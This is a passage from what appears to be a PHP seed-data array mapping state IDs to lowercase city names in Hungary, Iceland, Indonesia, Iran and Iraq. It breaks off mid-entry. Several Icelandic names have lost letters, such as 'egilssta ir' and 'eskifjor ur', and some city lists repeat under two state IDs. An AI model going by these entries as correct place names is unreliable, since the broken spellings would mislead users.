['state_id' => '1650', 'name' => 'pilisszentkereszt'],\n ['state_id' => '1650', 'name' => 'pilisvorosvar'],\n ['state_id' => '1650', 'name' => 'pomaz'],\n ['state_id' => '1650', 'name' => 'racalmas'],\n ['state_id' => '1650', 'name' => 'rackeve'],\n ['state_id' => '1650', 'name' => 'solymar'],\n ['state_id' => '1650', 'name' => 'soskut'],\n ['state_id' => '1650', 'name' => 'szada'],\n ['state_id' => '1650', 'name' => 'szazhalombatta'],\n ['state_id' => '1650', 'name' => 'szentendre'],\n ['state_id' => '1650', 'name' => 'szentmartonkata'],\n ['state_id' => '1650', 'name' => 'szigetcsep'],\n ['state_id' => '1650', 'name' => 'szigetszentmiklos'],\n ['state_id' => '1650', 'name' => 'szigetujfalu'],\n ['state_id' => '1650', 'name' => 'szob'],\n ['state_id' => '1650', 'name' => 'tahitofalu'],\n ['state_id' => '1650', 'name' => 'tapiobicske'],\n ['state_id' => '1650', 'name' => 'tapioszecso'],\n ['state_id' => '1650', 'name' => 'tapioszele'],\n ['state_id' => '1650', 'name' => 'toalmas'],\n ['state_id' => '1650', 'name' => 'torokbalint'],\n ['state_id' => '1650', 'name' => 'tortel'],\n ['state_id' => '1650', 'name' => 'tura'],\n ['state_id' => '1650', 'name' => 'ullo'],\n ['state_id' => '1650', 'name' => 'uri'],\n ['state_id' => '1650', 'name' => 'urom'],\n ['state_id' => '1650', 'name' => 'vac'],\n ['state_id' => '1650', 'name' => 'vecses'],\n ['state_id' => '1650', 'name' => 'veresegyhaz'],\n ['state_id' => '1650', 'name' => 'verocemaros'],\n ['state_id' => '1650', 'name' => 'visegrad'],\n ['state_id' => '1650', 'name' => 'zsambek'],\n ['state_id' => '1650', 'name' => 'zsambok'],\n ['state_id' => '1651', 'name' => 'adand'],\n ['state_id' => '1651', 'name' => 'balatonfoldvar'],\n ['state_id' => '1651', 'name' => 'balatonoszod'],\n ['state_id' => '1651', 'name' => 'balatonszabadi'],\n ['state_id' => '1651', 'name' => 'balatonszarszo'],\n ['state_id' => '1651', 'name' => 'barcs'],\n ['state_id' => '1651', 'name' => 'berzence'],\n ['state_id' => '1651', 'name' => 'boglarlelle'],\n ['state_id' => '1651', 'name' => 'bohonye'],\n ['state_id' => '1651', 'name' => 'csurgo'],\n ['state_id' => '1651', 'name' => 'fonyod'],\n ['state_id' => '1651', 'name' => 'kaposvar'],\n ['state_id' => '1651', 'name' => 'karad'],\n ['state_id' => '1651', 'name' => 'kethely'],\n ['state_id' => '1651', 'name' => 'lengyeltoti'],\n ['state_id' => '1651', 'name' => 'marcali'],\n ['state_id' => '1651', 'name' => 'nagyatad'],\n ['state_id' => '1651', 'name' => 'nagybajom'],\n ['state_id' => '1651', 'name' => 'siofok'],\n ['state_id' => '1651', 'name' => 'somogyvar'],\n ['state_id' => '1651', 'name' => 'tab'],\n ['state_id' => '1651', 'name' => 'zamardi'],\n ['state_id' => '1652', 'name' => 'ajak'],\n ['state_id' => '1652', 'name' => 'baktaloranthaza'],\n ['state_id' => '1652', 'name' => 'balkany'],\n ['state_id' => '1652', 'name' => 'buj'],\n ['state_id' => '1652', 'name' => 'demecser'],\n ['state_id' => '1652', 'name' => 'dombrad'],\n ['state_id' => '1652', 'name' => 'fehergyarmat'],\n ['state_id' => '1652', 'name' => 'ibrany'],\n ['state_id' => '1652', 'name' => 'kemecse'],\n ['state_id' => '1652', 'name' => 'kisvarda'],\n ['state_id' => '1652', 'name' => 'kotaj'],\n ['state_id' => '1652', 'name' => 'mandok'],\n ['state_id' => '1652', 'name' => 'mariapocs'],\n ['state_id' => '1652', 'name' => 'mateszalka'],\n ['state_id' => '1652', 'name' => 'nagyecsed'],\n ['state_id' => '1652', 'name' => 'nagyhalasz'],\n ['state_id' => '1652', 'name' => 'nagykallo'],\n ['state_id' => '1652', 'name' => 'nyirbator'],\n ['state_id' => '1652', 'name' => 'nyirbeltek'],\n ['state_id' => '1652', 'name' => 'nyiregyhaza'],\n ['state_id' => '1652', 'name' => 'nyirmada'],\n ['state_id' => '1652', 'name' => 'nyirpazony'],\n ['state_id' => '1652', 'name' => 'nyirtelek'],\n ['state_id' => '1652', 'name' => 'ofeherto'],\n ['state_id' => '1652', 'name' => 'rakamaz'],\n ['state_id' => '1652', 'name' => 'tarpa'],\n ['state_id' => '1652', 'name' => 'tiszabercel'],\n ['state_id' => '1652', 'name' => 'tiszalok'],\n ['state_id' => '1652', 'name' => 'tiszavasvari'],\n ['state_id' => '1652', 'name' => 'tuzser'],\n ['state_id' => '1652', 'name' => 'vaja'],\n ['state_id' => '1652', 'name' => 'vasarosnameny'],\n ['state_id' => '1652', 'name' => 'zahony'],\n ['state_id' => '1653', 'name' => 'bataszek'],\n ['state_id' => '1653', 'name' => 'bonyhad'],\n ['state_id' => '1653', 'name' => 'decs'],\n ['state_id' => '1653', 'name' => 'dombovar'],\n ['state_id' => '1653', 'name' => 'dunafoldvar'],\n ['state_id' => '1653', 'name' => 'fadd'],\n ['state_id' => '1653', 'name' => 'gyonk'],\n ['state_id' => '1653', 'name' => 'hogyesz'],\n ['state_id' => '1653', 'name' => 'iregszemcse'],\n ['state_id' => '1653', 'name' => 'madocsa'],\n ['state_id' => '1653', 'name' => 'nagymagocs'],\n ['state_id' => '1653', 'name' => 'nagymanyok'],\n ['state_id' => '1653', 'name' => 'ozora'],\n ['state_id' => '1653', 'name' => 'paks'],\n ['state_id' => '1653', 'name' => 'pincehely'],\n ['state_id' => '1653', 'name' => 'simontornya'],\n ['state_id' => '1653', 'name' => 'szekszard'],\n ['state_id' => '1653', 'name' => 'szentgal'],\n ['state_id' => '1653', 'name' => 'tamasi'],\n ['state_id' => '1653', 'name' => 'tengelic'],\n ['state_id' => '1653', 'name' => 'tolna'],\n ['state_id' => '1653', 'name' => 'zomba'],\n ['state_id' => '1654', 'name' => 'buk'],\n ['state_id' => '1654', 'name' => 'celldomolk'],\n ['state_id' => '1654', 'name' => 'csepreg'],\n ['state_id' => '1654', 'name' => 'gencsapati'],\n ['state_id' => '1654', 'name' => 'jak'],\n ['state_id' => '1654', 'name' => 'janoshaza'],\n ['state_id' => '1654', 'name' => 'kormend'],\n ['state_id' => '1654', 'name' => 'koszeg'],\n ['state_id' => '1654', 'name' => 'sarvar'],\n ['state_id' => '1654', 'name' => 'szentgotthard'],\n ['state_id' => '1654', 'name' => 'szombathely'],\n ['state_id' => '1654', 'name' => 'vasvar'],\n ['state_id' => '1654', 'name' => 'vep'],\n ['state_id' => '1655', 'name' => 'ajka'],\n ['state_id' => '1655', 'name' => 'badacsonytomaj'],\n ['state_id' => '1655', 'name' => 'balatonalmadi'],\n ['state_id' => '1655', 'name' => 'balatonfured'],\n ['state_id' => '1655', 'name' => 'balatonfuzfo'],\n ['state_id' => '1655', 'name' => 'balatonkenese'],\n ['state_id' => '1655', 'name' => 'band'],\n ['state_id' => '1655', 'name' => 'berhida'],\n ['state_id' => '1655', 'name' => 'csabrendek'],\n ['state_id' => '1655', 'name' => 'devecser'],\n ['state_id' => '1655', 'name' => 'herend'],\n ['state_id' => '1655', 'name' => 'papa'],\n ['state_id' => '1655', 'name' => 'sumeg'],\n ['state_id' => '1655', 'name' => 'tapolca'],\n ['state_id' => '1655', 'name' => 'urkut'],\n ['state_id' => '1655', 'name' => 'varpalota'],\n ['state_id' => '1655', 'name' => 'veszprem'],\n ['state_id' => '1655', 'name' => 'zirc'],\n ['state_id' => '1656', 'name' => 'becsehely'],\n ['state_id' => '1656', 'name' => 'heviz'],\n ['state_id' => '1656', 'name' => 'keszthely'],\n ['state_id' => '1656', 'name' => 'lenti'],\n ['state_id' => '1656', 'name' => 'letenye'],\n ['state_id' => '1656', 'name' => 'nagykanizsa'],\n ['state_id' => '1656', 'name' => 'sarmellek'],\n ['state_id' => '1656', 'name' => 'turje'],\n ['state_id' => '1656', 'name' => 'zalaegerszeg'],\n ['state_id' => '1656', 'name' => 'zalakomar'],\n ['state_id' => '1656', 'name' => 'zalalovo'],\n ['state_id' => '1656', 'name' => 'zalaszentgrot'],\n ['state_id' => '1657', 'name' => 'bakkafjor ur'],\n ['state_id' => '1657', 'name' => 'borgarfjor ur'],\n ['state_id' => '1657', 'name' => 'brei dalsvik'],\n ['state_id' => '1657', 'name' => 'djupivogur'],\n ['state_id' => '1657', 'name' => 'egilssta ir'],\n ['state_id' => '1657', 'name' => 'eskifjor ur'],\n ['state_id' => '1657', 'name' => 'faskru sfjor ur'],\n ['state_id' => '1657', 'name' => 'fellabar'],\n ['state_id' => '1657', 'name' => 'hallormssta ur'],\n ['state_id' => '1657', 'name' => 'hofn'],\n ['state_id' => '1657', 'name' => 'nesjakauptun'],\n ['state_id' => '1657', 'name' => 'neskaupsta ur'],\n ['state_id' => '1657', 'name' => 'rey arfjor ur'],\n ['state_id' => '1657', 'name' => 'sey isfjor ur'],\n ['state_id' => '1657', 'name' => 'sto varfjor ur'],\n ['state_id' => '1657', 'name' => 'vopnafjor ur'],\n ['state_id' => '1665', 'name' => 'akranes'],\n ['state_id' => '1665', 'name' => 'borgarnes'],\n ['state_id' => '1665', 'name' => 'bu ardalur'],\n ['state_id' => '1665', 'name' => 'grundarfjor ur'],\n ['state_id' => '1665', 'name' => 'hellissandur'],\n ['state_id' => '1665', 'name' => 'hvanneyri'],\n ['state_id' => '1665', 'name' => 'olafsvik'],\n ['state_id' => '1665', 'name' => 'rif'],\n ['state_id' => '1665', 'name' => 'stykkisholmur'],\n ['state_id' => '1666', 'name' => 'banda aceh'],\n ['state_id' => '1666', 'name' => 'bireun'],\n ['state_id' => '1666', 'name' => 'langsa'],\n ['state_id' => '1666', 'name' => 'lhokseumawe'],\n ['state_id' => '1666', 'name' => 'meulaboh'],\n ['state_id' => '1667', 'name' => 'denpasar'],\n ['state_id' => '1667', 'name' => 'karangasem'],\n ['state_id' => '1667', 'name' => 'klungkung'],\n ['state_id' => '1667', 'name' => 'kuta'],\n ['state_id' => '1667', 'name' => 'negara'],\n ['state_id' => '1667', 'name' => 'singaraja'],\n ['state_id' => '1667', 'name' => 'tabanan'],\n ['state_id' => '1667', 'name' => 'ubud'],\n ['state_id' => '1668', 'name' => 'manggar'],\n ['state_id' => '1668', 'name' => 'mentok'],\n ['state_id' => '1668', 'name' => 'pangkal pinang'],\n ['state_id' => '1668', 'name' => 'sungai liat'],\n ['state_id' => '1668', 'name' => 'tanjung pandan'],\n ['state_id' => '1668', 'name' => 'toboali-rias'],\n ['state_id' => '1669', 'name' => 'cikupa'],\n ['state_id' => '1669', 'name' => 'cilegon'],\n ['state_id' => '1669', 'name' => 'ciputat'],\n ['state_id' => '1669', 'name' => 'curug'],\n ['state_id' => '1669', 'name' => 'kresek'],\n ['state_id' => '1669', 'name' => 'labuhan'],\n ['state_id' => '1669', 'name' => 'pandegelang'],\n ['state_id' => '1669', 'name' => 'pondok aren'],\n ['state_id' => '1669', 'name' => 'rangkasbitung'],\n ['state_id' => '1669', 'name' => 'serang'],\n ['state_id' => '1669', 'name' => 'serpong'],\n ['state_id' => '1669', 'name' => 'tangerang'],\n ['state_id' => '1669', 'name' => 'teluknaga'],\n ['state_id' => '1670', 'name' => 'bengkulu'],\n ['state_id' => '1670', 'name' => 'curup'],\n ['state_id' => '1671', 'name' => 'gandaria'],\n ['state_id' => '1672', 'name' => 'gorontalo'],\n ['state_id' => '1673', 'name' => 'cengkareng'],\n ['state_id' => '1673', 'name' => 'jakarta'],\n ['state_id' => '1674', 'name' => 'jambi'],\n ['state_id' => '1674', 'name' => 'kualatungka'],\n ['state_id' => '1674', 'name' => 'simpang'],\n ['state_id' => '1674', 'name' => 'sungaipenuh'],\n ['state_id' => '1682', 'name' => 'kendal'],\n ['state_id' => '1683', 'name' => 'bandar lampung'],\n ['state_id' => '1683', 'name' => 'kota bumi'],\n ['state_id' => '1683', 'name' => 'metro'],\n ['state_id' => '1683', 'name' => 'pringsewu'],\n ['state_id' => '1683', 'name' => 'terbanggi besar'],\n ['state_id' => '1684', 'name' => 'amahai'],\n ['state_id' => '1684', 'name' => 'ambon'],\n ['state_id' => '1684', 'name' => 'tual'],\n ['state_id' => '1685', 'name' => 'amahai'],\n ['state_id' => '1685', 'name' => 'ambon'],\n ['state_id' => '1685', 'name' => 'tual'],\n ['state_id' => '1688', 'name' => 'aberpura'],\n ['state_id' => '1688', 'name' => 'biak'],\n ['state_id' => '1688', 'name' => 'jaya pura'],\n ['state_id' => '1688', 'name' => 'manokwari'],\n ['state_id' => '1688', 'name' => 'merauke'],\n ['state_id' => '1688', 'name' => 'sorong'],\n ['state_id' => '1689', 'name' => 'balaipungut'],\n ['state_id' => '1689', 'name' => 'bengkalis'],\n ['state_id' => '1689', 'name' => 'dumai'],\n ['state_id' => '1689', 'name' => 'duri'],\n ['state_id' => '1689', 'name' => 'pekan baru'],\n ['state_id' => '1689', 'name' => 'selatpanjang'],\n ['state_id' => '1689', 'name' => 'tanjung balai-meral'],\n ['state_id' => '1689', 'name' => 'tembilahan'],\n ['state_id' => '1690', 'name' => 'balaipungut'],\n ['state_id' => '1690', 'name' => 'bengkalis'],\n ['state_id' => '1690', 'name' => 'dumai'],\n ['state_id' => '1690', 'name' => 'duri'],\n ['state_id' => '1690', 'name' => 'pekan baru'],\n ['state_id' => '1690', 'name' => 'selatpanjang'],\n ['state_id' => '1690', 'name' => 'tanjung balai-meral'],\n ['state_id' => '1690', 'name' => 'tembilahan'],\n ['state_id' => '1691', 'name' => 'solo'],\n ['state_id' => '1699', 'name' => 'bambanglipuro'],\n ['state_id' => '1699', 'name' => 'banguntapan'],\n ['state_id' => '1699', 'name' => 'bantul'],\n ['state_id' => '1699', 'name' => 'depok'],\n ['state_id' => '1699', 'name' => 'gamping'],\n ['state_id' => '1699', 'name' => 'godean'],\n ['state_id' => '1699', 'name' => 'jetis'],\n ['state_id' => '1699', 'name' => 'kasihan'],\n ['state_id' => '1699', 'name' => 'ngaglik'],\n ['state_id' => '1699', 'name' => 'pandak'],\n ['state_id' => '1699', 'name' => 'pundong'],\n ['state_id' => '1699', 'name' => 'sewon'],\n ['state_id' => '1699', 'name' => 'seyegan'],\n ['state_id' => '1699', 'name' => 'sleman'],\n ['state_id' => '1699', 'name' => 'srandakan'],\n ['state_id' => '1699', 'name' => 'wonosari'],\n ['state_id' => '1699', 'name' => 'yogyakarta'],\n ['state_id' => '1700', 'name' => 'ardabil'],\n ['state_id' => '1700', 'name' => 'garmi'],\n ['state_id' => '1700', 'name' => 'khalkhal'],\n ['state_id' => '1700', 'name' => 'meshkinshahr'],\n ['state_id' => '1700', 'name' => 'parsabad'],\n ['state_id' => '1703', 'name' => 'bandar-e gonaveh'],\n ['state_id' => '1703', 'name' => 'borazjan'],\n ['state_id' => '1703', 'name' => 'bushehr'],\n ['state_id' => '1703', 'name' => 'dashti'],\n ['state_id' => '1703', 'name' => 'dir'],\n ['state_id' => '1703', 'name' => 'khormuj'],\n ['state_id' => '1703', 'name' => 'kongan'],\n ['state_id' => '1703', 'name' => 'tangestan'],\n ['state_id' => '1705', 'name' => 'ardistan'],\n ['state_id' => '1705', 'name' => 'dorchehpiyaz'],\n ['state_id' => '1705', 'name' => 'dowlatabad'],\n ['state_id' => '1705', 'name' => 'esfahan'],\n ['state_id' => '1705', 'name' => 'falavarjan'],\n ['state_id' => '1705', 'name' => 'faridan'],\n ['state_id' => '1705', 'name' => 'fereydunshahr'],\n ['state_id' => '1705', 'name' => 'fuladshahr'],\n ['state_id' => '1705', 'name' => 'golara'],\n ['state_id' => '1705', 'name' => 'golpayegan'],\n ['state_id' => '1705', 'name' => 'kashan'],\n ['state_id' => '1705', 'name' => 'kelishad'],\n ['state_id' => '1705', 'name' => 'khomeynishahr'],\n ['state_id' => '1705', 'name' => 'khonsar'],\n ['state_id' => '1705', 'name' => 'khuresgan'],\n ['state_id' => '1705', 'name' => 'mobarakeh'],\n ['state_id' => '1705', 'name' => 'na\\'in'],\n ['state_id' => '1705', 'name' => 'najafabad'],\n ['state_id' => '1705', 'name' => 'natnaz'],\n ['state_id' => '1705', 'name' => 'qahdarijan'],\n ['state_id' => '1705', 'name' => 'rehnan'],\n ['state_id' => '1705', 'name' => 'semirom'],\n ['state_id' => '1705', 'name' => 'shahinshahr'],\n ['state_id' => '1705', 'name' => 'shahreza'],\n ['state_id' => '1705', 'name' => 'zarinshahr'],\n ['state_id' => '1706', 'name' => 'abadeh'],\n ['state_id' => '1706', 'name' => 'akbarabad'],\n ['state_id' => '1706', 'name' => 'darab'],\n ['state_id' => '1706', 'name' => 'eqlid'],\n ['state_id' => '1706', 'name' => 'estehban'],\n ['state_id' => '1706', 'name' => 'fasa'],\n ['state_id' => '1706', 'name' => 'firuzabad'],\n ['state_id' => '1706', 'name' => 'gerash'],\n ['state_id' => '1706', 'name' => 'jahrom'],\n ['state_id' => '1706', 'name' => 'kazerun'],\n ['state_id' => '1706', 'name' => 'lar'],\n ['state_id' => '1706', 'name' => 'marv dasht'],\n ['state_id' => '1706', 'name' => 'neyriz'],\n ['state_id' => '1706', 'name' => 'nurabad'],\n ['state_id' => '1706', 'name' => 'qa\\'emiyeh'],\n ['state_id' => '1706', 'name' => 'sepidan'],\n ['state_id' => '1706', 'name' => 'shiraz'],\n ['state_id' => '1707', 'name' => 'astaneh-ye ashrafiyeh'],\n ['state_id' => '1707', 'name' => 'astara'],\n ['state_id' => '1707', 'name' => 'bandar-e anzali'],\n ['state_id' => '1707', 'name' => 'faman'],\n ['state_id' => '1707', 'name' => 'hashtpar'],\n ['state_id' => '1707', 'name' => 'lahijan'],\n ['state_id' => '1707', 'name' => 'langarud'],\n ['state_id' => '1707', 'name' => 'rasht'],\n ['state_id' => '1707', 'name' => 'rudbar'],\n ['state_id' => '1707', 'name' => 'rudsar'],\n ['state_id' => '1707', 'name' => 'sawma\\'eh sara'],\n ['state_id' => '1708', 'name' => 'aq qal\\'eh'],\n ['state_id' => '1708', 'name' => 'azad shahr'],\n ['state_id' => '1708', 'name' => 'bandar-e torkaman'],\n ['state_id' => '1708', 'name' => 'gonbad-e qabus'],\n ['state_id' => '1708', 'name' => 'gorgan'],\n ['state_id' => '1709', 'name' => 'asadabad'],\n ['state_id' => '1709', 'name' => 'bahar'],\n ['state_id' => '1709', 'name' => 'hamadan'],\n ['state_id' => '1709', 'name' => 'malayer'],\n ['state_id' => '1709', 'name' => 'nahavand'],\n ['state_id' => '1709', 'name' => 'tuysarkan'],\n ['state_id' => '1710', 'name' => 'bandar abbas'],\n ['state_id' => '1710', 'name' => 'bandar-e \\'abbas'],\n ['state_id' => '1710', 'name' => 'bandar-e lengeh'],\n ['state_id' => '1710', 'name' => 'gheshm'],\n ['state_id' => '1710', 'name' => 'jask'],\n ['state_id' => '1710', 'name' => 'kish'],\n ['state_id' => '1710', 'name' => 'kish island'],\n ['state_id' => '1710', 'name' => 'minab'],\n ['state_id' => '1711', 'name' => 'abdanan'],\n ['state_id' => '1711', 'name' => 'darrehshahr'],\n ['state_id' => '1711', 'name' => 'dehloran'],\n ['state_id' => '1711', 'name' => 'ilam'],\n ['state_id' => '1711', 'name' => 'ivan'],\n ['state_id' => '1711', 'name' => 'mehran'],\n ['state_id' => '1712', 'name' => 'baft'],\n ['state_id' => '1712', 'name' => 'bam'],\n ['state_id' => '1712', 'name' => 'bardsir'],\n ['state_id' => '1712', 'name' => 'jiroft'],\n ['state_id' => '1712', 'name' => 'kahnuj'],\n ['state_id' => '1712', 'name' => 'kerman'],\n ['state_id' => '1712', 'name' => 'rafsanjan'],\n ['state_id' => '1712', 'name' => 'ravar'],\n ['state_id' => '1712', 'name' => 'shahr-e babak'],\n ['state_id' => '1712', 'name' => 'sirjan'],\n ['state_id' => '1712', 'name' => 'zarand'],\n ['state_id' => '1713', 'name' => 'eslamabad'],\n ['state_id' => '1713', 'name' => 'gilan-e garb'],\n ['state_id' => '1713', 'name' => 'harsin'],\n ['state_id' => '1713', 'name' => 'javanrud'],\n ['state_id' => '1713', 'name' => 'kangavar'],\n ['state_id' => '1713', 'name' => 'kermanshah'],\n ['state_id' => '1713', 'name' => 'paveh'],\n ['state_id' => '1713', 'name' => 'sahneh'],\n ['state_id' => '1713', 'name' => 'sar-e-pol-e-zohab'],\n ['state_id' => '1713', 'name' => 'sonqor'],\n ['state_id' => '1714', 'name' => 'birjand'],\n ['state_id' => '1714', 'name' => 'bojnurd'],\n ['state_id' => '1714', 'name' => 'chenaran'],\n ['state_id' => '1714', 'name' => 'darreh gaz'],\n ['state_id' => '1714', 'name' => 'esfarayen'],\n ['state_id' => '1714', 'name' => 'fariman'],\n ['state_id' => '1714', 'name' => 'ferdus'],\n ['state_id' => '1714', 'name' => 'gha\\'nat'],\n ['state_id' => '1714', 'name' => 'gonabad'],\n ['state_id' => '1714', 'name' => 'kashmar'],\n ['state_id' => '1714', 'name' => 'mashad'],\n ['state_id' => '1714', 'name' => 'mashhad'],\n ['state_id' => '1714', 'name' => 'neyshabur'],\n ['state_id' => '1714', 'name' => 'qayen'],\n ['state_id' => '1714', 'name' => 'quchan'],\n ['state_id' => '1714', 'name' => 'sabzevar'],\n ['state_id' => '1714', 'name' => 'sarakhs'],\n ['state_id' => '1714', 'name' => 'shirvan'],\n ['state_id' => '1714', 'name' => 'tabas'],\n ['state_id' => '1714', 'name' => 'tayyebat'],\n ['state_id' => '1714', 'name' => 'torbat-e heydariyeh'],\n ['state_id' => '1714', 'name' => 'torbat-e jam'],\n ['state_id' => '1715', 'name' => 'abadan'],\n ['state_id' => '1715', 'name' => 'agha jari'],\n ['state_id' => '1715', 'name' => 'ahvaz'],\n ['state_id' => '1715', 'name' => 'ahwaz'],\n ['state_id' => '1715', 'name' => 'andimeshk'],\n ['state_id' => '1715', 'name' => 'bandar-e emam khomeyni'],\n ['state_id' => '1715', 'name' => 'bandar-e mahshahr'],\n ['state_id' => '1715', 'name' => 'behbahan'],\n ['state_id' => '1715', 'name' => 'dezful'],\n ['state_id' => '1715', 'name' => 'ezeh'],\n ['state_id' => '1715', 'name' => 'hendijan'],\n ['state_id' => '1715', 'name' => 'khorramshahr'],\n ['state_id' => '1715', 'name' => 'masjed-e soleyman'],\n ['state_id' => '1715', 'name' => 'omidiyeh'],\n ['state_id' => '1715', 'name' => 'ramhormoz'],\n ['state_id' => '1715', 'name' => 'ramshir'],\n ['state_id' => '1715', 'name' => 'shadegan'],\n ['state_id' => '1715', 'name' => 'shush'],\n ['state_id' => '1715', 'name' => 'shushtar'],\n ['state_id' => '1715', 'name' => 'susangerd'],\n ['state_id' => '1717', 'name' => 'baneh'],\n ['state_id' => '1717', 'name' => 'bijar'],\n ['state_id' => '1717', 'name' => 'kamyaran'],\n ['state_id' => '1717', 'name' => 'marivan'],\n ['state_id' => '1717', 'name' => 'qorveh'],\n ['state_id' => '1717', 'name' => 'sanandaj'],\n ['state_id' => '1717', 'name' => 'saqqez'],\n ['state_id' => '1718', 'name' => 'alashtar'],\n ['state_id' => '1718', 'name' => 'aligudarz'],\n ['state_id' => '1718', 'name' => 'azna'],\n ['state_id' => '1718', 'name' => 'borujerd'],\n ['state_id' => '1718', 'name' => 'do rud'],\n ['state_id' => '1718', 'name' => 'khorramabad'],\n ['state_id' => '1718', 'name' => 'kuhdasht'],\n ['state_id' => '1718', 'name' => 'nurabad'],\n ['state_id' => '1719', 'name' => 'arak'],\n ['state_id' => '1719', 'name' => 'ashtian'],\n ['state_id' => '1719', 'name' => 'delijan'],\n ['state_id' => '1719', 'name' => 'khomeyn'],\n ['state_id' => '1719', 'name' => 'mahallat'],\n ['state_id' => '1719', 'name' => 'sarband'],\n ['state_id' => '1719', 'name' => 'saveh'],\n ['state_id' => '1719', 'name' => 'tafresh'],\n ['state_id' => '1720', 'name' => 'aliabad'],\n ['state_id' => '1720', 'name' => 'amir kala'],\n ['state_id' => '1720', 'name' => 'amol'],\n ['state_id' => '1720', 'name' => 'babol'],\n ['state_id' => '1720', 'name' => 'babol sar'],\n ['state_id' => '1720', 'name' => 'behshahr'],\n ['state_id' => '1720', 'name' => 'chalus'],\n ['state_id' => '1720', 'name' => 'fereydunkenar'],\n ['state_id' => '1720', 'name' => 'juybar'],\n ['state_id' => '1720', 'name' => 'kalaleh'],\n ['state_id' => '1720', 'name' => 'kordkuy'],\n ['state_id' => '1720', 'name' => 'mahmudabad'],\n ['state_id' => '1720', 'name' => 'minudasht'],\n ['state_id' => '1720', 'name' => 'neka'],\n ['state_id' => '1720', 'name' => 'nur'],\n ['state_id' => '1720', 'name' => 'nushahr'],\n ['state_id' => '1720', 'name' => 'qa\\'emshahr'],\n ['state_id' => '1720', 'name' => 'ramsar'],\n ['state_id' => '1720', 'name' => 'sari'],\n ['state_id' => '1720', 'name' => 'savadkuh'],\n ['state_id' => '1720', 'name' => 'tonekabon'],\n ['state_id' => '1722', 'name' => 'abhar'],\n ['state_id' => '1722', 'name' => 'abyek'],\n ['state_id' => '1722', 'name' => 'qazvin'],\n ['state_id' => '1722', 'name' => 'takestan'],\n ['state_id' => '1723', 'name' => 'qom'],\n ['state_id' => '1724', 'name' => 'damghan'],\n ['state_id' => '1724', 'name' => 'garmsar'],\n ['state_id' => '1724', 'name' => 'semnan'],\n ['state_id' => '1724', 'name' => 'shahrud'],\n ['state_id' => '1726', 'name' => 'damavand'],\n ['state_id' => '1726', 'name' => 'eqbaliyeh'],\n ['state_id' => '1726', 'name' => 'eslamshahr'],\n ['state_id' => '1726', 'name' => 'hashtgerd'],\n ['state_id' => '1726', 'name' => 'karaj'],\n ['state_id' => '1726', 'name' => 'mahdasht'],\n ['state_id' => '1726', 'name' => 'malard'],\n ['state_id' => '1726', 'name' => 'mohammadiyeh'],\n ['state_id' => '1726', 'name' => 'nazarabad'],\n ['state_id' => '1726', 'name' => 'pakdasht'],\n ['state_id' => '1726', 'name' => 'pishva'],\n ['state_id' => '1726', 'name' => 'qarchak'],\n ['state_id' => '1726', 'name' => 'qods'],\n ['state_id' => '1726', 'name' => 'robat karim'],\n ['state_id' => '1726', 'name' => 'shahriyar'],\n ['state_id' => '1726', 'name' => 'tehran'],\n ['state_id' => '1726', 'name' => 'varamin'],\n ['state_id' => '1727', 'name' => 'ardakan'],\n ['state_id' => '1727', 'name' => 'bafq'],\n ['state_id' => '1727', 'name' => 'mehriz'],\n ['state_id' => '1727', 'name' => 'meybod'],\n ['state_id' => '1727', 'name' => 'taft'],\n ['state_id' => '1727', 'name' => 'yazd'],\n ['state_id' => '1728', 'name' => 'alvand'],\n ['state_id' => '1728', 'name' => 'khorramdarreh'],\n ['state_id' => '1728', 'name' => 'zanjan'],\n ['state_id' => '1729', 'name' => 'jurf-as-sakhr'],\n ['state_id' => '1729', 'name' => 'saddat-al-hindiyah'],\n ['state_id' => '1729', 'name' => 'al-hillah'],\n ['state_id' => '1729', 'name' => 'al-madhatiyah'],\n ['state_id' => '1729', 'name' => 'al-musayyib'],\n ['state_id' => '1729', 'name' => 'al-qasim'],\n ['state_id' => '1730', 'name' => 'baghdad'],\n ['state_id' => '1731', 'name' => 'dahuk'],\n ['state_id' => '1731', 'name' => 'zakhu'],\n ['state_id' => '1733', 'name' => 'ba\\'qubah'],\n ['state_id' => '1733', 'name' => 'hanaqin'],\n ['state_id' => '1733', 'name' => 'jalula\\'\\''],\n ['state_id' => '1733', 'name' => 'kifri'],\n ['state_id' => '1733', 'name' => 'mandali'],\n ['state_id' => '1733', 'name' => 'al-fuhud'],\n ['state_id' => '1733', 'name' => 'al-khalis'],\n ['state_id' => '1733', 'name' => 'al-miqdadiyah'],\n ['state_id' => '1733', 'name' => 'ash-shatrah'],\n ['state_id' => '1734', 'name' => 'ankawa'],\n ['state_id' => '1735', 'name' => 'chaqalawa'],\n ['state_id' => '1735', 'name' => 'irbil'],\n ['state_id' => '1735', 'name' => 'rawanduz'],\n ['state_id' => '1736', 'name' => 'karbala'],\n ['state_id' => '1736', 'name' => 'al-hindiyah'],\n ['state_id' => '1737', 'name' => 'erbil'],\n ['state_id' => '1738', 'name' => '\\'ali al gharbi'],\n ['state_id' => '1738', 'name' => 'al-\\'amarah'],\n ['state_id' => '1738', 'name' => 'al-majarr-al-kabir'],\n ['state_id' => '1739', 'name' => 'qarah qush'],\n ['state_id' => '1739', 'name' => 'sinjar'],\n ['state_id' => '1739', 'name' => 'tall \\'afar'],\n ['state_id' => '1739', 'name' => 'tall kayf'],\n ['state_id' => '1739', 'name' => 'al-mawsil'],\n ['state_id' => '1739', 'name' => 'ash-shaykhan'],\n ['state_id' => '1740', 'name' => 'balad'],\n ['state_id' => '1740', 'name' => 'bayji'],\n ['state_id' => '1740', 'name' => 'dhalu\\'iyah'],\n ['state_id' => '1740', 'name' => 'samarra'],\n ['state_id' => '1740', 'name' => 'tikrit'],\n ['state_id' => '1740', 'name' => 'tuz'],\n ['state_id' => '1740', 'name' => 'ad-dujayl'],\n ['state_id' => '1741', 'name' => 'al-\\'aziziyah'],\n ['state_id' => '1741', 'name' => 'al-hayy'],\n ['state_id' => '1741', 'name' => 'al-kut'],\n ['state_id' => '1741', 'name' => 'an-nu\\'maniyah'],\n ['state_id' => '1741', 'name' => 'as-suwayrah'],\n ['state_id' => '1742', 'name' => '\\'anah'],\n ['state_id' => '1742', 'name' => 'hit'],\n ['state_id' => '1742', 'name' => 'rawah'],\n ['state_id' => '1742', 'name' => 'al-fallujah'],\n ['state_id' => '1742', 'name' => 'al-habbaniyah'],\n ['state_id' => '1742', 'name' => 'al-hadithah'],\n ['state_id' => '1742', 'name' => 'ar-ramadi'],\n ['state_id' => '1742', 'name' => 'ar-rutbah'],\n ['state_id' => '1743', 'name' => 'abu al-khasib'],\n ['state_id' => '1743', 'name' => 'harithah'],\n ['state_id' => '1743', 'name' => 'shatt-al-\\'arab'],\n ['state_id' => '1743', 'name' => 